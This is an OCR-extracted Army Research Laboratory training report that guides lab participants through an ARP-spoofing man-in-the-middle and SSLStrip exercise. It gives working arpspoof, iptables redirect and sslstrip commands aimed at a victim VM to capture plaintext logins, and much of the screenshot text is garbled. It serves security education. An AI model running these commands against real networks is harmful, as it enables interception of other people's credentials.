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1. Introduction

Network communications are critical for everyday life. It is essential that the
technologies used for this data exchange are secure, as it is difficult for individual
users to accurately assess that the information transferred between computing
devices stays among the intended recipients. In the web domain, a great deal of
trust is placed on the computing machines when accessing remote services. For this
reason, digitally signed certificates are used to verify communicating parties are
who they say they are and, furthermore, they are used to establish secure, encrypted
channels. However, there are several other potential issues that must be considered,
such as the intermediate network nodes through which communication must flow
to reach its destination. For example, these intermediate nodes may be able to
modify the communication infrastructure between clients and servers, as
documented and demonstrated by Moxie Marlinspike through a proof-of-concept
software tool called SSLStrip.!

This report contains a learning exercise aimed at introducing concepts related to
secure web communications and some considerations of which users should be
cognizant.

1.1 Exercise Overview

The exercise focuses on the use of a publicly available testing tool to analyze and
test secure web network traffic. The exercise demonstrates how users may
experiment with the secure transfer of data from websites to clients as well as an
insight into man-in-the-middle (MITM) attacks and how they may be identified and
mitigated.

Participants walk through a mock scenario to learn about the process of securing
connections from clients to web servers when a website’s content is accessed.
Additionally, participants will test a fictitious network against a MITM attack to
gain a hands-on understanding of the importance of the secure transfer of data,
especially on websites that request and/or contain sensitive information.

1.2 HTTPS/HTTP and HSTS

Accessing websites over the Internet has inherent security risks. The level of risk
is especially substantial when sensitive information is part of the communication,
such as credentials or private records. Hypertext transfer protocol (HTTP)? is the
original communication protocol used to send web content between clients and web
servers. However, this protocol is not considered secure, as data is transferred in



clear text; any systems between the source and destination may see the data without
any obtrusions. Hypertext transfer protocol secure (HTTPS)® adds a layer of
security to the communication by using encryption, which makes information
unreadable to unintended third parties. This alleviates many security issues;
however, other weaknesses still exist. Users need to know when the HTTPS
protocol is employed; otherwise, their decision to trust or distrust a connection to a
server may be unsubstantiated. This was an issue for many years; web browsers
would not indicate effectively if a connection with a remote site was encrypted (i.e.,
using HTTPS) and because of this software such as SSLStrip would take advantage
to deceive users into sending unencrypted data to unintended parties.

Modern browsers have for the most part overcome this issue by employing HTTP
Strict Transport Security (HSTS),* which only connects to remote sites if they offer
an HTTPS connection. Otherwise, the site is blocked and non-accessible to users.

1.3 Secure Web Communications

Secure sockets layer (SSL),’ now superseded by transport layer security,® is the
underlying protocol used by HTTPS to enable data confidentiality and integrity. A
digital handshake between the client and the web server initiates an encrypted
channel between the two communicating parties. The SSLStrip software tool'
attempts to intercept this handshake and subsequently disable encryption from the
client and server, which will then result in all traffic sent as clear text. While there
are now mitigations provided by modern browsers, this process is important to
understand as it is not limited to web communications.

2. Setup and Configuration

The setup of the exercise includes two virtual machines (VMs) and several open-
source software tools. These technologies are listed as follows:

« SSLStrip 1.0

. arp-scan 1.9.8’

. arpspoof 2.4b1%

. iptables 1.4°

« Wireshark 4.0.1'°

. Kali2022.1 64-bit VM!!

«  Windows 10 64-bit VM'?
+ VirtualBox 6.1.30 64-bit!?



The US Army Combat Capabilities Development Command Army Research
Laboratory’s South Cyber Rapid Innovation Group Collaborative Innovation
Testbed is used to host the VMs. The Kali Linux VM is used without any
modification, from a standard default installation. The Windows 10 VM is hosted
in an unmodified state as well. Both machines are on the same network. Participants
set up the testing environment for the scenario.

As part of the exercise, participants become familiar with many publicly available
network analysis tools. The “arp-scan” tool is used to show active devices on a
network and “arpspoof” is used to impersonate one of the identified addresses. The
“iptables” tool enables the control of packet transmissions. The “Wireshark™ tool is
a network sniffer that allows analysts to view packets as they are received and
transmitted from a device; in this case, before and after the MITM attack and the
use of SSLStrip.

All artifacts of this learning module are packaged using the repeatable
experimentation system.'*

3. Learning Objectives

The purpose of the exercise is to gain a basic understanding of the protocols that
are used to access web pages as well as how a MITM attack works. This will give
insight into potential dangers that may arise when using older software and
distrusted networks and devices. During the exercise, participants analyze a
realistic scenario in a controlled environment by enacting actions from various
perspectives. The following general cybersecurity topics are emphasized:

« Ensuring data confidentiality and integrity is crucial to network security.

« HTTPS is now in wide use and modern browsers use HSTS, which allows
web interactions to occur only when HTTPS is enabled. HTTPS encrypts
data sent over a network, while HTTP sends data in plain text.

« MITM allows a third party to act as proxy and relay information between
the client and an application. SSLStrip uses MITM to intercept traffic
between a client and a web server and then downgrades the connection to
use HTTP instead of HTTPS. This allows a third party to compromise the
confidentiality and integrity of the communication.

. The iptables software enforces rules for accepting or rejecting traffic. It is
also used for routing traffic to and from specified physical interfaces on a
device.

The following learning objectives are associated with the exercise:



« Cyber Security Awareness: Participants will understand the mechanics of
SSLStrip and why it no longer works when using modern browsers that
enforce HSTS. Even though this problem has been mitigated to a large
extent in this domain, the issues presented may transfer to other domains;
therefore, it is critical to always remain vigilant.

o Trust Associated with Connecting to Networks: Public places may have free
network hot spots, for example, but there are always risks associated with
their use.

« Environment and Browser Warnings: Modern browsers will warn users if a
web server is not hosting secure connections.

« Tool Familiarity: Participants will use several publicly available analysis
and testing tools as well as Linux and its terminal and network configuration
settings.

4. Exercise

The following exercise is presented to participants in a step-by-step fashion.
Participants complete several tasks to set up the MITM and then use SSLStrip.! All
data and systems in the exercise are fictional and simulated. Artifacts are generated
using VMs that are not associated with real systems.

The following mission briefing is provided to participants.

“You are tasked with intercepting passwords or other sensitive information from
unsuspecting coffee goers. Since you have a public hotspot named coffee shop
people are connecting to your untrusted network.”

4.1 Activity 1: View Web Browser Network Traffic

You must use Wireshark and a browser to see the network traffic between the
web server and the client.
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Kali Linux is a Debian-based Linux distribution loaded with numerous
cybersecurity tools.
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1) Start the Kali Linux machine. The username and password are kali.

2) Open a terminal by clicking on the terminal icon on the taskbar near the
dragon (Fig. 1).



File Machine Vie

Fig.1  Terminal location in Kali Linux

3) Start Wireshark on the Kali Linux machine by running the following
command (Fig. 2):

sudo wireshark

[sudo] password for kali:

Fig.2  Wireshark command

4) In Wireshark double-click the interface named eth0 to start viewing the
network traffic being sent and received from your machine (Fig. 3).

Welcome to Wireshark

Capture

...using this filter: | |E-1te' a capture filter ... 'I All interfaces shown =

| __etho _________________________ W ]
any I
Loopback: lo

bluetooth-manitor

nflog

nfqueue

dbus-system

dbus-session

Cisco remote capture: ciscodump

DisplayPort AUX channel moniter capture: dpauxmon

Random packet generator: randpkt

systemd Journal Export: sdjournal

SSH remote capture: sshdump

UDP Listener remote capture: udpdump

Wi-Fi remote capture: wifidump

Geeeee®

Fig.3  Selecting eth0 interface

5) Add afilter so that only the traffic between your machine and the web server
is shown. Run the following command and your output should resemble
Fig. 4:

tls

Press Enter



mae RNE QedEF S G 53
[Wds BEl -] +

No. .\me Source Destination Protocel Lengtt Info
15 B8.470726754 34.117.237.239 TLSv1.2 93 Application Data
16 B8.512067184 34.117.237.239 16.9.2.23 TLSv1.2 93 Application Data

Fig.4  Add a filter “tls” in Wireshark

6) Look for the initial handshake that your machine initiated to send data using
a secure encrypted channel (Fig. 5):

£ “Ethemet - [m] X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
mage RERes=FLI[Eaaad
(WTts BED -+
No. Time Seurce Destination Protocol  Length Info ~
58248 538.479227 40.91.88.89 10.8.2.15 TLSv1.2 565 Application Data, Application Data
58257 538.994725 10.8.2.15 52.182.143.212 TLSv1.2 249 Client Helle
58258 531.075634  52.182.143.212 16.6.2.15 Tce 1414 443 » 61723 [PSH, ACK] Seq=1 Ack=196 Win=32573 Len=1360 [TCP segment of a reassembled PDU]
58263 531.135415 52.182.143.212 10.8.2.15 TLSv1.2 176 Server Hello, Certificate, Server Key Exchange, Server Hello Done
58264 531.137274  10.0.2.15 52.182.143.212 TLSv1.2 212 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
58266 531.216366 52.182.143.212 18.8.2.15 TLSv1.2 185 Change Cipher Spec, Encrypted Handshake Message
58267 531.217062 10.8.2.15 52.182.143.212 TLSv1.2 1166 Application Data
58268 531.217244  10.9.2.15 52.182.143.212 TP 1514 61723 » 443 [ACK] Seq=1466 Ack=4454 {in=64867 Len=1460 [TCP segment of a reassembled PDU]
58278 531.217348 10.8.2.15 52.182.143.212 TLSv1.2 2869 Application Data, Application Data
58272 531.322018 52.182.143.212 10.8.2.15 TLSv1.2 757 Application Data
58279 564.317521  19.0.2.15 20.16.31.115 TLSv1.2 153 Application Data
58281 564.418148 20.18.31.115 16.8.2.15 TLSv1.2 174 Application Data v
Frame 58278: 2869 bytes on wire (22952 bits), 2869 bytes captured (22952 bits) on intia || 0280 16 18 [T ~
Ethernet II, Src: PcsCompu_84:8a:b6 (88:00:27:84:8a:b6), Dst: RealtekU_12:35:80 (52:5¢ oele CH da da &c a8 ec
Internet Protocol Version 4, Src: 18.8.2.15, Dst: 52.182.143.212 aa20 g
Transmission Control Protocol, Src Port: 61723, Dst Port: 443, Seq: 2926, Ack: 4454, | ::ig
[2 Reassembled TCP Segments (4125 bytes): #58265(1460), #58270(2665)] ey
¥ Transport Layer Security 0050
~ TLSV1.2 Record Layer: Application Data Protocol: Hypertext Transfer Protocol 0070

Content Type: Application Data (23) 0080

Version: TLS 1.2 (8x@383) 0000 @ 55 81 d5 <@

Length: 4120 o020 7 bb df fe

Encrypted Application Data: 195727 d8bsac, o000

[Application Data Protecol: Hypertext Transfer Protocol] v v
& > Frame (2869 bytes)  Reassembied TCP (4125 bytes)
(O 7 Payloadis encrypted application data (tis.app_data), 4,120 bytes Packets: 53181 - Displayed: 13151 (22.2%) Profile: Default

Fig.5 Handshake between the client and web server

This activity introduced you to HTTPS and its associated traffic. Next, you will
examine the difference between HTTPS and HTTP.

4.2 Activity 2: HTTP Versus HTTPS

Use Wireshark and a browser to view the network traffic and the difference
between HTTP and HTTPS at the packet level.
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HTTP and HTTPS are protocols used to fetch the resources between a web browser
and web server. HTTPS is the secure version of HTTP.
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7) Within your same Wireshark instance, in the toolbar, press the restart button
and select to continue without saving. This will begin sniffing the network
again. These steps are shown in Figs. 6 and 7.



Fig. 6  Restart traffic sniffing button

Do you want to save the captured packets before restarting the
capture?

Your captured packets will be lost if you don't save them.

[ Save before Continue Continue without Saving M cancel

Fig.7  After clicking restart, select continue without saving

8) Go back to your browser and navigate to the URL:
http://http-password.badssl.com/. A web page should appear as shown in
Fig. 8:

8 http-password.badssl.cor %

« C @ O & badssl.com Gy

KaliLinux & KaliTools # KaliDocs ¥ Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec

http-password.

badssl.com

This page contains a lone password field
that is not wrapped in a <form> tag.

Fig.8  The badssl website

9) The traffic generated from the request will be displayed in Wireshark.
Notice the difference in the way the data is presented in comparison to
HTTPS (Fig. 9):



A “Ethemnet - [m] ks
File FEdit View Go Capture Analyze Statistics Telephony Wireless Tools Help
m e RERes=F 3 5Eaaan
(1 hep [¥] <)+
No. Time Source Destination Protocol  Length Info ~
50094 1054.677132  72.21.91.29 10.0.2.15 ocsp 853 Response
59231 1245.976635 10.6.2.15 104.154.89.105 HTTP 325 GET / HTTR/1.1
59232 1246.856362  104.154.89.185 10.0.2.15 HTTP 806 HTTP/1.1 268 OK (text/html)
59234 1246.859985  10.0.2.15 104.154.89.105 HTTP 342 GET /style.css HTTP/1.1
59237 1246.144655  104.154.59.105 10.0.2.15 HTTP 372 HTTP/1.1 260 OK (text/css)
50245 1246.234328  10.0.2.15 104.154.89.165 HTTP 207 GET /icons/favicon-red.ico HTTP/1.1
50254 1246.340468  104.154.59.105 10.0.2.15 HTTP 321 HTTP/1.1 200 OK (image/x-icon)
59653 1369.678792  10.6.2.15 104.154.89.105 HTTP 427 GET / HTTP/1.1
59659 1369.750897  104.154.89.105 10.0.2.15 HTTP 806 [TTP/1.1 260 0K (text/htmi)
59708 1372.188968  10.0.2.15 104.154.89.105 HTTP 427 GET / HTTP/1.1
59729 1372.266467  104.154.59.185 10.0.2.15 HTTP 506 HTTP/1.1 260 0K (text/html)
v
http-password. <br>badssl.com\n s @5 00 27 B4 8a b6 52 54 @@ 12 35 80 05 00 45 60 RT --5--E ~
</his\n @3 18 e8 of @0 60 Ff 06 01 de 68 9a 59 69 8a 6@ hevi
racm<orin T 5 05 o1 oo 0 34 450 5 12 %0~ HT T2
: - F—_— . - ; feld” —roasel e e e ~ .
<input type="password” id="value" placeholder="passnord input field" value="passr e o e L
</div>\n 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75  ginx/1.1 8.3 (Ubu
n Ge 74 75 20 ©d @a 44 61 74 65 3a 20 54 68 75 2c  ntu)--Da te: Thu,
<div id="footer">\n 2@ 38 31 28 44 65 63 20 32 38 32 32 20 36 33 3a @1 Dec 2822 03:
This page contains a lone password field<br> that is <bsnot</b> wrapped in a <tt) 3532 3a 31 37 20 47 4d 54 0d @a 43 6f 6e 74 65 52:17 GM T--Conte
</divs\n 6e 74 2d 54 79 78 65 3a 20 74 65 78 74 2f 68 74  nt-Type: text/ht
\n 6d 6c 2d 0a 4c 61 73 74 2d 4d 6f 64 60 66 69 65 ml- Last -Modifie
</bady>\n 64 32 20 54 68 75 2c 20 32 37 20 4f 63 74 28 32 d: Thu, 27 Oct 2
38 32 32 20 31 39 3a 30 39 3a 32 30 20 47 4d 54 022 19:0 9:20 GMT
</html>\n v a2
< > Frame (806 bytes) ~ De-chunked entity body (457 bytes) ~ Uncompressed entity body (797 bytes)
() 7 Hypertext Transfer Protocol: Protocol Packets: 59981 - Displayed: 1574 (2.6%) Profile: Default

Fig.9  HTTP traffic in Wireshark

4.3 Activity 3: Setting Up MITM Against a Windows Machine

Use arpspoof, iptables, and arp-scan to set up the Kali machine as a proxy
between the client and web server.
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All the tools used here are open-source and pre-installed on the Kali Linux
Operating System.
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10) First look for a candidate device on the network using the following
command (Fig. 10).

sudo arp-scan -l —interface=eth(

Fig. 10 Command to get hosts on network

11) Something that resembles Fig. 11 should be seen. Within the list of hosts,
choose the Windows 10 machine with IP address 10.0.2.15.



lter, @ L
56 hosts scanned i .917 se ). 4 responded

Fig. 11  Lists of hosts on the network

12) Configure your machine to enable forwarding because you will need to
forward packets from the web browser to the web server and vice versa.
Run the following command (Fig. 12):

sudo sysctl -w net.ipv4.ip_forward=1

'net.ipvﬁ.ip_¥ﬂrward=1
=

net.ipv4.ip_forward

Fig. 12  Allow packet forwarding

13) Set rules using iptables that will leverage the packet forwarding just
enabled. Redirect traffic from Port 80 to 8080 to act as a proxy between the
client and web server by running the following command (Fig. 13):

sudo iptables -t nat -A PREROUTING -p TCP —destination-port 80 -j
REDIRECT —to-port 8080

( )-[~]
E sudo -t nat -A PREROUTING -p TCP --destination-port 80 -j R

EDIRECT --to-port 8080

Fig. 13 Adding iptable rule to packet forward

14) Verify that the rule was added correctly by checking the routes on the
machine. Run the following command (Fig. 14):

route -n

Fig. 14 Command to check routes



15) Make the Windows 10 machine route traffic through the Kali Linux
machine. Your machine will pretend to be the network gateway—in other
words, the traffic that leaves the Windows 10 machine will be redirected

through the Kali Linux machine first. Run the following command
(Fig. 15):

sudo arpspoof -i eth0 -t <IP for victim> <IP of gateway>

-1 ethd -t 10.0.2.15 10.0.2.1

Fig. 15 arpspoof command

16) From the Windows 10 machine, run the following command to check if the
spoofing is successful (Fig. 16):

arp -a

C:\Users\psych>arp -a

Fig. 16 Display arp table on machine

17) Now check the display of the previous command and check to see if the
MAC address for the gateway and the MAC address for the machine
running arpspoof are the same (Fig. 17).
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Fig. 17 arp table of machine

18) Everything is now set up for the MITM attack. Open Wireshark and enter a
new filter: http. Afterward, go to the Windows 10 machine, and navigate to
the URL from before: http://http-password.badssl.com/.

Back on the Kali machine, the following traffic should be seen (Fig. 18).

]

»

*eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
L] ") b QF_"E;I'_!EQQQ:_'_

([ ]nttp B -]+
Destination Protocol Lengtt Info =
10.0.2.15 HTTP 186 HTTP/1.1 200 0K
209.197.3.8 HTTP 429 GET /filestreamingservice/Tiles/878671bd-5a2f-4d35-beb5-dff3a.
18.0.2.15 HTTP 186 HTTP/1.1 2680 OK
209.197.3.8 HTTP 429 GET /filestreamingservice/fTiles/8786T1bd-5a2f-4d35-beb5-dff3a.
16.8.2.15 HTTP 186 HTTP/1.1 200 OK
209.197.3.8 HTTP 429 GET /filestreamingservice/fTiles/8786f1bd-5a2f-4d35-bebs-dff3a.
10.6.2.15 HTTP 186 HTTP/1.1 200 OK
209.197.3.8 HTTP 429 GET /Tilestreamingservice/Tiles/8786T1bd-5a2f-4d35-beb5-dff3a.
10.0.2.15 HTTP 186 HTTP/1.1 200 0K
209.197.3.8 HTTP 721 GET /filestreamingservice/Tiles/878671bd-5a2f-4d35-beb5-dff3a.
10.0.2.15 HTTP 106 HTTP/1.1 200 OK
23.204.162.66 HTTP 269 GET /singletile/summary/alias/experiencebyname/today?market=e.
16.8.2.15 HTTP 186 HTTP/1.1 200 OK -

» Transmission Control Protocol, Src Port: 56030,

00 de 93 18 40 00 80 86 b7 c@ Da 00 02 Of |«

~ Hypertext Transfer Protocol
+ BET /sha2-ha-server-g6.crl HTTR/1.1\r\n

Cache-Control: no-cache\rin

Connection: Keep-Alive\r\n

Pragma: no-cache\rin

Accept: */*\r\n

User-Agent: Microsoft-CryptoAPL/18.8%r\n
| R T ——
wrin
Full request URI:
HTTP request 2Z/2]
Prev request in frame: 14147]
Response in frame: 14155]

http://crid.digicert.coms

5b 1d da de 80 58 dl 5c

28 14 76 Tc 88 08 47 45

68 61 2d 73 65 72 76 65
BE58 28 48 54 54 58 2 31 2e
0068
ee7e GEEGIECLEE] 42 6T 6e Ge
4b 65 65 70 2d 41 6c 69
6d 61 3a 20 6e 6T 2d 63
63 65 70 74 3a 20 2a 2f
41 67 65 Ge 74 3a 20 4d
2d 43 72 79 7@ 74 6T 41
Ba 48 6T 73 74 3a 20 63
63 65 72 74 Ze 63 6T 6d

06 4e 3a 30 41 le
54 2@ 2f 73 68 61
72 2d 67 36 2e 63
31 @d Oa EENGENEGE]

2d 43 6T 6e 74 72 6T 6C 3a 20 be 6T 2d 63

65 63 74 69 6T Ge
76 65 0d Qa 50 T2
61 63 68 65 0d 0a
2a @d Ga 55 73 65
69 63 72 6T 73 6F
50 49 2 31 30 2e
72 6c 34 2e 64 69
8d @a 0d Ga

[

b ]

b

(O ¥ HTTP Host (http.host), 25 bytes

Packets: 16178 - Displayed: 92 (0.6%)

Fig. 18 Wireshark showing MITM attack
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4.4 Activity 4: Perform SSL Stripping Attack

Now that the traffic is rerouted through the Kali Linux machine, the SSL
stripping can be performed.

19) Recall that traffic was redirected to Port 8080; therefore, you will strip the
HTTPS traffic at that port to downgrade the traffic to HTTP (Fig. 19).
Ensure that the Windows 10 machine has loaded the webpage from earlier.

ssistrip -1 8080

Fig. 19  sslstrip command to downgrade HTTPS traffic

20) The output of SSLStrip can be viewed interactively using the tail command.
But when this is done, there will be errors because the attack will not work
(Fig. 20).

tail -f -n 0 sslstrip.log

)-[~]

f -n 0 sslstrip.logl]

Fig. 20 View of real time logs of the attack

4.5 Activity 5: Successful SSL Stripping

This attack rarely works nowadays since most browsers have HSTS strict
enforcement of HTTPS connections and request that the webpage only load
over HTTPS. This disables redirects from HTTPS to HTTP, which are needed
for the attack. A successful attack would have looked like the following.

21) Now that the attack was attempted on Windows 10 and failed, we will visit
an intentionally vulnerable site to see the output on the Kali Linux machine
(Fig. 21).
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http://testphp.vulnweb.com/login.php

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | yourcart | guestbook | AJAX Demo

search art If you are already registered please enter your login information below:
Browse categories Usemame: [ ]
Browse artists Password: [ ]

ou Cart
Signup
You can also signup here.
R ETID Signup disabled. Please use the username test and the password test.
Our guestbook

AJAX Demo

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

About Us | Privacy Policy | Contact Us

Fig.21 Vulnerable HTTP login page to test

22) Open Wireshark and filter for HTTP once again. In the login portion, enter
some random values and go back to Wireshark to see the traffic. This is

where you can find your login sent in plain text.

@ login page

s & Kali NetHunter = Exploit-DB

Ele Edit View Go Capture Analyze

L) RXE R &=
Acunetix Web Vulnerabily Scanner LD T
Tome | categories | arists | disclaimer | your cart | guestbook | AJAX Demo No.  Time Source Destination Protocol Lengtt info
{5 e 100,209 44.228.249.3 WTTP 406 GET /login.php HTTP/L.1
search art fyou are aistorod p y petow: 50 21 076800860_44.228.249.3 106.2:28 T g T 300 0 (ot
[] S cezzee 10.0.2.25 v
Userame ] 94 34 0168654 2 4228249.3 WITP 453 GET /login:php HTTP/.
g 58 34 Soiossans 44.036.000.3 1002723 W 1% WAL 200 0k (ext/ntmt)
srowse artists Password ]
four cart (]
signup
TN You can aiso signup here.
{pIohS Signup disabled. Please use the username test and th passwiord test
2ur guestbook
\JAX Demo
inks + Frane 51 564 bytes on wire (4672 bits), 584 bytes captured (4672 bits) o 5254001235 000800 2794 e da 0B 0 4500 RT 5 ‘> E=
Securiy art ’ da), Dot Realteki12 0010 @2 3ace o400 doGe BT OB @ Uk gm0
Fo ' 9038 320050009 cOe3002car 425018 1P ., B
FiElE=me ’ %50 seq: 353, A 53 30 20 00 00 50 47 53 54 20 2f 15 73 65 12 <4+ 0 ST Juser
>HP vuin help 5 69 66 56 67 2¢ 70 65 70 20 48 54 54 50 21 31 26 info.php HTTP/L
“ractal Explorer 3100 0a 48 6f 73 74 3a 20 74 65 73 74 70 68 70 St: testny
26 76 75 6c 6o 77 65 62 20 63 67 64 0d 03 55 73 .vulmacb .com
65 72 24 41 67 65 6o 74 3a 20 40 Of 72 69 6c Gc  r-Agent | Mozt
612 352030 20 28 58 31 3130 20 dc 69 66 75 /5.0 (X 11; Lint
About Us | Privacy Pocy | ContactUs 76207833 36 57 35 34 30 20 72 76 32 3130 22 8064 ; rvii0
! 263929 20 47 65 63 60 67 21 32 30 31 30 30 31 0) Geck 0/20100:
303120 45 69 72 65 66 67 78 27 3139 32 26 30 01 Firef ox/102.0
0d 0a 4163 63 65 70 74 3a 20 74 65 78 74 2f 68 o X/l
Warning aopi 74 6d 6c 2c 61 70 59 63 6174 69 6f 6o 2¢  tnl,appl dcation
78 68 74 6d 6c 20 78 6 6c 2c 61 70 70 60 60 83  xhtmlom L, appiic
R i Eaiotaieo] o sils s well T 5178 63 61 60 21 15 6060 5h 71 30 35 20 59 3¢ ationsem Liach 5=

Look for potential SQU infections, ) gery (CSRF), and more < i
O 7 Hypertext Transfer Protocol: Protocol Packets: 158 - Displayed: 6 (3.8%) Profile: Default

Fig. 22 Wireshark traffic of vulnerable login page

23) Think of some other network services where a MITM attack could have a
similar impact as with HTTP.
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http://testphp.vulnweb.com/login.php

24) Think of ways that you could mitigate this kind of attack in other domains.

Congratulations! You have successfully completed the exercise.
5. Conclusion

In this report, we have provided a basic learning module that introduces participants
to web browser protocols, SSL stripping attacks, and network tools. The participant
sees how these protocols are used by their browser and web server, the security of
the protocols, and an example of an attack taking advantage of these protocols. By
providing a hands-on exercise, participants get a firsthand look at configuring
network traffic through their machine on a novel level as well as using network
tools to understand the network and how the SSL stripping attack would be used.

This exercise is used for training and awareness, but also to fuel research in
cybersecurity defense focused on network tools, MITM, and adaptive detection
techniques.

14



10.

11.

12.

13.
14.

References

. Marlinspike M. New tricks for defeating SSL in practice. 2009 July [accessed

2023 Jan]. https://www.blackhat.com/presentations/bh-dc-
09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf.

Hypertext Transfer Protocol — HTTP/1.1. 1997 Jan [accessed 2023 Jan].
https://www.rfc-editor.org/rfc/rfc2068.

HTTP Over TLS. 2000 May J[accessed 2023 Jan]. https://www.rfc-
editor.org/rfc/rfc2818.

HTTP Strict Transport Security (HSTS). 2012 Nov [accessed 2023 Jan].
https://www.rfc-editor.org/rfc/rfc6797.

The Secure Sockets Layer (SSL) Protocol Version 3.0. 2011 Aug [accessed
2023 Jan]. https://www.rfc-editor.org/rfc/rfc6101.

The Transport Layer Security (TLS) Protocol Version 1.3. 2018 Aug [accessed
2023 Jan]. https://www.rfc-editor.org/rfc/rfc8446.

Arp-Scan. 2022 Nov [accessed 2023 Jan]. https://www kali.org/tools/arp-scan/.

Dsniff. 2022 Nov [accessed 2023 Jan].
https://www kali.org/tools/dsniff/#arpspoof.

iptables. 2020 Apr [access 2023 Jan].
https://help.ubuntu.com/community/IptablesHowTo?action=show&redirect=I
ptables.

Wireshark. 2022 Nov [accessed 2023 Jan].
https://www kali.org/tools/wireshark/.

Kali 2022.1. [accessed 2022 Apr]. https://www kali.org/blog/kali-linux-2022-
1-release/.

Windows 10. [accessed 2023 Jan]. https://www.microsoft.com/en-us/software-
download/windows10.

VirtualBox. [accessed 2022 Apr]. https://www.virtualbox.org/.

Acosta JC, Clarke L, Medina S, Akbar M, Hossain MS, Free-Nelson F.
Repeatable experimentation for cybersecurity moving target defense. In:
Garcia-Alfaro J, Li S, Poovendran R, Debar H, Yung M, editors. International
Conference on Security and Privacy in Communication Systems; Springer,
Cham; c2021. p. 82-99.

15



List of Symbols, Abbreviations, and Acronyms

HSTS HTTP Strict Transport Security
HTTP hypertext transfer protocol
HTTPS hypertext transfer protocol secure
1P Internet Protocol

MITM man-in-the-middle

SSL secure sockets layer

URL uniform resource locator

VM virtual machine
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